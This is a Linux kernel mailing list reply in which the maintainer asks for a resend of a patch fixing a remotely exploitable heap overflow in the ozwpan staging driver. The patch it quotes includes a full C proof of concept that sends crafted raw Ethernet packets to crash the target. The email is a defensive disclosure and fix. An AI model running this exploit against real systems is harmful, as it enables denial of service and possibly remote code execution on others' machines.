Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1751447AbbEXU0q (ORCPT ); Sun, 24 May 2015 16:26:46 -0400 Received: from mail.linuxfoundation.org ([140.211.169.12]:34396 "EHLO mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1751244AbbEXU0o (ORCPT ); Sun, 24 May 2015 16:26:44 -0400 Date: Sun, 24 May 2015 13:26:43 -0700 From: Greg Kroah-Hartman To: "Jason A. Donenfeld" Cc: oss-security , linux-kernel@vger.kernel.org, Shigekatsu Tateno , devel@driverdev.osuosl.org Subject: Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Message-ID: <20150524202643.GA25501@kroah.com> References: <20150513185322.GA4029@kroah.com> <1431543500-4847-1-git-send-email-Jason@zx2c4.com> <1431543500-4847-2-git-send-email-Jason@zx2c4.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1431543500-4847-2-git-send-email-Jason@zx2c4.com> User-Agent: Mutt/1.5.23 (2014-03-12) Sender: linux-kernel-owner@vger.kernel.org List-ID: X-Mailing-List: linux-kernel@vger.kernel.org Content-Length: 6053 Lines: 210 On Wed, May 13, 2015 at 08:58:17PM +0200, Jason A. Donenfeld wrote: > Since elt->length is a u8, we can make this variable a u8. Then we can > do proper bounds checking more easily. Without this, a potentially > negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, > resulting in a remotely exploitable heap overflow with network > supplied data. > > This could result in remote code execution. A PoC which obtains DoS > follows below. It requires the ozprotocol.h file from this module. > > =-=-=-=-=-= > > #include > #include > #include > #include > #include > #include > #include > #include > #include > #include > > #define u8 uint8_t > #define u16 uint16_t > #define u32 uint32_t > #define __packed __attribute__((__packed__)) > #include "ozprotocol.h" > > static int hex2num(char c) > { > if (c >= '0' && c <= '9') > return c - '0'; > if (c >= 'a' && c <= 'f') > return c - 'a' + 10; > if (c >= 'A' && c <= 'F') > return c - 'A' + 10; > return -1; > } > static int hwaddr_aton(const char *txt, uint8_t *addr) > { > int i; > for (i = 0; i < 6; i++) { > int a, b; > a = hex2num(*txt++); > if (a < 0) > return -1; > b = hex2num(*txt++); > if (b < 0) > return -1; > *addr++ = (a << 4) | b; > if (i < 5 && *txt++ != ':') > return -1; > } > return 0; > } > > int main(int argc, char *argv[]) > { > if (argc < 3) { > fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); > return 1; > } > > uint8_t dest_mac[6]; > if (hwaddr_aton(argv[2], dest_mac)) { > fprintf(stderr, "Invalid mac address.\n"); > return 1; > } > > int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); > if (sockfd < 0) { > perror("socket"); > return 1; > } > > struct ifreq if_idx; > int interface_index; > strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); > if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { > perror("SIOCGIFINDEX"); > return 1; > } > interface_index = if_idx.ifr_ifindex; > if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { > perror("SIOCGIFHWADDR"); > return 1; > } > uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; > > struct { > struct ether_header ether_header; > struct oz_hdr oz_hdr; > struct oz_elt oz_elt; > struct oz_elt_connect_req oz_elt_connect_req; > } __packed connect_packet = { > .ether_header = { > .ether_type = htons(OZ_ETHERTYPE), > .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, > .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } > }, > .oz_hdr = { > .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), > .last_pkt_num = 0, > .pkt_num = htole32(0) > }, > .oz_elt = { > .type = OZ_ELT_CONNECT_REQ, > .length = sizeof(struct oz_elt_connect_req) > }, > .oz_elt_connect_req = { > .mode = 0, > .resv1 = {0}, > .pd_info = 0, > .session_id = 0, > .presleep = 35, > .ms_isoc_latency = 0, > .host_vendor = 0, > .keep_alive = 0, > .apps = htole16((1 << OZ_APPID_USB) | 0x1), > .max_len_div16 = 0, > .ms_per_isoc = 0, > .up_audio_buf = 0, > .ms_per_elt = 0 > } > }; > > struct { > struct ether_header ether_header; > struct oz_hdr oz_hdr; > struct oz_elt oz_elt; > struct oz_get_desc_rsp oz_get_desc_rsp; > } __packed pwn_packet = { > .ether_header = { > .ether_type = htons(OZ_ETHERTYPE), > .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, > .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } > }, > .oz_hdr = { > .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), > .last_pkt_num = 0, > .pkt_num = htole32(1) > }, > .oz_elt = { > .type = OZ_ELT_APP_DATA, > .length = sizeof(struct oz_get_desc_rsp) - 2 > }, > .oz_get_desc_rsp = { > .app_id = OZ_APPID_USB, > .elt_seq_num = 0, > .type = OZ_GET_DESC_RSP, > .req_id = 0, > .offset = htole16(0), > .total_size = htole16(0), > .rcode = 0, > .data = {0} > } > }; > > struct sockaddr_ll socket_address = { > .sll_ifindex = interface_index, > .sll_halen = ETH_ALEN, > .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } > }; > > if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { > perror("sendto"); > return 1; > } > usleep(300000); > if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { > perror("sendto"); > return 1; > } > return 0; > } > > Signed-off-by: Jason A. Donenfeld > --- > drivers/staging/ozwpan/ozusbsvc1.c | 4 +++- > 1 file changed, 3 insertions(+), 1 deletion(-) > > diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c > index d434d8c..cd6c63e 100644 > --- a/drivers/staging/ozwpan/ozusbsvc1.c > +++ b/drivers/staging/ozwpan/ozusbsvc1.c > @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) > case OZ_GET_DESC_RSP: { > struct oz_get_desc_rsp *body = > (struct oz_get_desc_rsp *)usb_hdr; > - int data_len = elt->length - > + u8 data_len = elt->length - > sizeof(struct oz_get_desc_rsp) + 1; > + if (data_len > elt->length) > + break; > u16 offs = le16_to_cpu(get_unaligned(&body->offset)); > u16 total_size = > le16_to_cpu(get_unaligned(&body->total_size)); This patch adds a build warning. Please fix it up and resend the series. thanks, greg k-h -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/